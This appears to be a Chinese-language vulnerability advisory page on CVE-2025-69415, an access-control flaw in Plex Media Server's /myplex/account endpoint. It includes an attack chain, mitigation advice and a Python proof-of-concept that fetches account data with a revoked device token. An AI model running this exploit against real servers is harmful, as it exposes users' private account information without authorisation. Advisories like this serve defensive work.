IPBUF安全漏洞报告
English
CVE-2025-69415 CVSS 7.1 高危

CVE-2025-69415 Plex Media Server设备令牌账户访问控制漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-69415
漏洞类型
访问控制/权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plex Media Server (PMS)

相关标签

CVE-2025-69415访问控制权限提升Plex Media Server设备令牌信息泄露身份验证绕过

漏洞概述

CVE-2025-69415是plex Media Server(PMS)1.42.2.10156及之前版本中存在的一个访问控制安全漏洞。该漏洞源于/myplex/account端点在处理设备令牌访问请求时,未能正确验证设备当前是否与用户账户保持关联状态。攻击者可以利用这一缺陷,在设备令牌有效的情况下,即使该设备已被从账户中移除或解绑,仍然能够访问/myplex/account接口获取敏感账户信息。这可能导致用户隐私数据泄露,包括账户配置、个人偏好设置等敏感信息的未授权访问。由于该漏洞利用复杂度较低且不需要用户交互,对使用Plex Media Server的组织或个人用户构成较高的安全风险。

技术细节

漏洞存在于Plex Media Server的/myplex/account端点访问控制逻辑中。当用户将设备与plex账户关联时,系统会生成一个设备令牌用于后续的身份验证和授权。正常业务流程中,当用户主动移除设备或设备被从账户解绑时,该设备令牌应该失效或被拒绝访问。然而,由于访问控制检查逻辑存在缺陷,系统仅验证设备令牌的有效性,而未正确检查设备与账户的当前关联状态。攻击者可以通过获取目标设备的有效令牌,在设备已被解绑的情况下仍然成功调用/myplex/account API端点。该端点返回的信息可能包括账户个人资料、设备列表、订阅信息等敏感数据。CVSS 3.1评分7.1(高危)反映了其在网络可达性、低权限要求和高机密性影响方面的风险特征。

攻击链分析

STEP 1
步骤1
攻击者获取目标用户的有效设备令牌,可能通过窃取、猜测或利用其他漏洞获取
STEP 2
步骤2
目标用户将设备从plex账户中移除或解绑,期望撤销该设备的访问权限
STEP 3
步骤3
攻击者使用已获取的设备令牌向/myplex/account端点发送HTTP GET请求
STEP 4
步骤4
服务器验证设备令牌有效性,但未正确检查设备与账户的当前关联状态
STEP 5
步骤5
服务器返回账户敏感信息,攻击者成功获取用户隐私数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-69415 PoC - Plex Media Server Device Token Account Access This PoC demonstrates accessing /myplex/account with a device token after the device has been disassociated from the account. """ import requests import json import sys def exploit_plex_cve_2025_69415(plex_url, device_token): """ Attempt to access /myplex/account with device token after device has been disassociated from account. Args: plex_url: Base URL of Plex Media Server device_token: Valid device token (even if device is disassociated) Returns: dict: Response data or error information """ headers = { 'X-Plex-Device-Token': device_token, 'X-Plex-Product': 'PlexMediaServer', 'X-Plex-Version': '1.42.2.10156', 'Accept': 'application/json' } target_endpoint = f"{plex_url}/myplex/account" try: response = requests.get(target_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] SUCCESS: Account information accessible!") print(f"[+] Status Code: {response.status_code}") try: data = response.json() return { 'vulnerable': True, 'status_code': response.status_code, 'data': data } except: return { 'vulnerable': True, 'status_code': response.status_code, 'data': response.text } else: print(f"[-] FAILED: Status Code {response.status_code}") return { 'vulnerable': False, 'status_code': response.status_code } except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return {'error': str(e)} if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <plex_url> <device_token>") print("Example: python3 CVE-2025-69415.py http://192.168.1.100:32400 abc123token") sys.exit(1) plex_url = sys.argv[1] device_token = sys.argv[2] result = exploit_plex_cve_2025_69415(plex_url, device_token) print(json.dumps(result, indent=2))

影响范围

Plex Media Server <= 1.42.2.10156

防御指南

临时缓解措施
在官方补丁发布前,可通过配置网络访问控制限制对Plex Media Server管理接口的访问,仅允许受信任的IP地址访问。同时监控日志中的异常设备令牌使用情况,及时发现潜在的攻击行为。建议管理员审查所有已关联设备列表,移除不再使用的设备,并考虑临时禁用myplex功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表